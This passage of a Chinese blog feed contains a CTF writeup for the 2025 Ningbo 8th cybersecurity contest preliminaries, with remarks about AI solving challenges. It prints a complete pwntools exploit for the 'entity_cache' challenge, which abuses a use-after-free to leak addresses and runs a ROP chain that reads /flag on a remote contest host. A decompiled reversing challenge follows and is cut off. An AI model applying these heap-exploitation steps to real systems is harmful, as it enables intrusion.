<p>队友很厉害，不过这次也没有拖后腿，还是有Break 和 Fix成果的。</p>
]]></content:encoded><h:img src="https://h4cker.zip/12ffc6/NingBo_8th_Cover.webp"/><enclosure url="https://h4cker.zip/12ffc6/NingBo_8th_Cover.webp"/><category>AWDP</category><category>反序列化</category><category>管道符截断</category><category>环境变量反弹Shell</category><category>SSTI</category><category>Node.js</category><category>格式化字符串漏洞</category><category>堆溢出</category><category>GTFOBins</category></item><item><title>2025宁波市第八届网络安全大赛初赛Writeup</title><link>https://h4cker.zip/322f5b/</link><pubDate>Sun, 17 Aug 2025 16:17:12 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/322f5b/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>今天上午初赛结束了，感谢两个队友带，<a
  href="https://dr0n1.github.io/" rel="nofollow noopener noreferrer" target="_blank"
  ><strong>dr0n</strong><span style="user-select:none"> ↗</span></a
>
和<a
  href="https://rot-will.github.io/" rel="nofollow noopener noreferrer" target="_blank"
  ><strong>Rot-will</strong><span style="user-select:none"> ↗</span></a
>
</p>
<p>槽点有点多，比如几个题AI秒出，我觉得以后出题都要反AI了，可能就留一个签到题AI能做，如果反AI，可能我真啥都不会了</p>
<p>AI这东西做逆向和密码非常厉害，逆向读伪代码和分析加解密，而这正是LLMs擅长的理解能力。做Web和Misc不太行，因为这两个用到的工具和环境太多。</p>
<p>两个WEB都是平平无奇登陆框，都做不出来，给的hint也做不出来，但是闲鱼一把梭。。。</p>
<p>两个杂项也古怪，队友做麻了，什么二维码小点点、博多密码，rgb转换之类</p>
<p>还有，我们做完4题已经第三名了，其他实在做不出来，就算其他队伍跟我们做一样的题，我们有前三血，那也应该排前面</p>
<p>但是最后三十分钟，我们连掉三十多名，我刷新一下掉一名，他们全都爆发了，不过应该能进决赛</p>
<p>部分附件在：https://github.com/TajangSec/Ningbo-8th-CSC-Pre</p>
<h2 id="pwn">PWN<a class="anchor" href="#pwn">#</a></h2>
<h3 id="entity_cache">entity_cache<a class="anchor" href="#entity_cache">#</a></h3>
<p>存在uaf</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">LibcSearcher</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">ind</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;size &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;fragment &gt;&#39;</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">ind</span><span class="p">,</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;2&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;stream &gt;&#39;</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;4&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt; &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="c1">#p=process(&#39;entity_cache&#39;)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;139.155.126.78&#39;</span><span class="p">,</span><span class="s1">&#39;26428&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;[DEBUG INFO]&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./entity_cache&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./libc.so&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readline</span><span class="p">(),</span><span class="mi">16</span><span class="p">)</span><span class="o">-</span><span class="mh">0xa1a</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="n">syscall</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0xbcc</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="s1">&#39;flag&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="s1">&#39;/flag&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="n">heap0</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">heap0</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="n">heap3</span><span class="o">=</span><span class="n">heap0</span><span class="o">+</span><span class="mh">0x100</span><span class="o">*</span><span class="mi">3</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="n">heap2</span><span class="o">=</span><span class="n">heap0</span><span class="o">+</span><span class="mh">0x100</span><span class="o">*</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">
</span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0x202060</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span> <span class="c1"># cache</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="n">puts</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">puts</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="o">=</span><span class="n">puts</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="n">env</span><span class="o">=</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;environ&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">
</span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">env</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="n">stack</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">)[:</span><span class="mi">8</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">stack</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">stack</span><span class="o">-</span><span class="mh">0x120</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="n">stack1</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">)[:</span><span class="mi">8</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">stack1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">
</span></span><span class="line"><span class="ln">63</span><span class="cl">
</span></span><span class="line"><span class="ln">64</span><span class="cl"><span class="n">main_stack</span><span class="o">=</span><span class="n">stack</span><span class="o">-</span><span class="mh">0x120</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">main_stack</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl"><span class="c1">#gdb.attach(p)</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">
</span></span><span class="line"><span class="ln">69</span><span class="cl"><span class="n">rdi</span><span class="o">=</span><span class="mh">0x000000000002164f</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl"><span class="n">rsi</span><span class="o">=</span><span class="mh">0x0000000000023a6a</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl"><span class="n">rdx</span><span class="o">=</span><span class="mh">0x0000000000001b96</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl"><span class="n">rax</span><span class="o">=</span><span class="mh">0x000000000001b500</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="n">p64</span><span class="p">(</span><span class="n">rax</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">heap3</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl"><span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">rax</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">heap2</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x50</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl"><span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">rax</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">heap2</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x50</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)))</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">79</span><span class="cl">
</span></span><span class="line"><span class="ln">80</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="reverse">REVERSE<a class="anchor" href="#reverse">#</a></h2>
<h3 id="sea_1">SEA_1<a class="anchor" href="#sea_1">#</a></h3>
<p>我不太会逆向，AI告诉我这是AES_ECB</p>
<p>其他选手说，贴在claude desktop或者vscode 的mcp里面，AI秒出，自己根本不用动</p>
<p>伪代码：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [esp+190h] [ebp-268h]
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">[</span><span class="mi">72</span><span class="p">];</span> <span class="c1">// [esp+19Ch] [ebp-25Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">char</span> <span class="n">v6</span><span class="p">[</span><span class="mi">44</span><span class="p">];</span> <span class="c1">// [esp+2BCh] [ebp-13Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">char</span> <span class="n">Buf1</span><span class="p">[</span><span class="mi">136</span><span class="p">];</span> <span class="c1">// [esp+2E8h] [ebp-110h] BYREF
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="kt">char</span> <span class="n">Str</span><span class="p">[</span><span class="mi">132</span><span class="p">];</span> <span class="c1">// [esp+370h] [ebp-88h] BYREF
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">__CheckForDebuggerJustMyCode</span><span class="p">(</span><span class="o">&amp;</span><span class="n">unk_45A019</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">Str</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x80u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">Buf1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x80u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nf">sub_401E00</span><span class="p">(</span><span class="s">&#34;Please input the flag and I will verify it: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">sub_401E70</span><span class="p">(</span><span class="s">&#34;%128s&#34;</span><span class="p">,</span> <span class="n">Str</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nf">strcpy</span><span class="p">(</span><span class="n">v6</span><span class="p">,</span> <span class="s">&#34;58453eec4d16ae234a10b597dfe1f6a6&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="nf">sub_4016B0</span><span class="p">(</span><span class="n">v5</span><span class="p">,</span> <span class="n">v6</span><span class="p">,</span> <span class="mi">256</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">Str</span><span class="p">);</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">16</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="p">{</span>
